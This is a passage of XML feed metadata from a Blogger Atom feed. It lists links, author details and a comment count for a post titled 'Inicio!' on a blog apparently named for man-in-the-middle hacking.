rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/7674674016822685220'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/7674674016822685220'/><link rel='alternate' type='text/html' href='http://zodiac-mitm.blogspot.com/2007/06/inicio.html' title='Inicio!'/><author><name>Zodiac</name><uri>http://www.blogger.com/profile/03879808782798901865</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://vnuuk.typepad.com/photos/uncategorized/hacking.jpg'/></author><thr:total>1</thr:total></entry></feed>
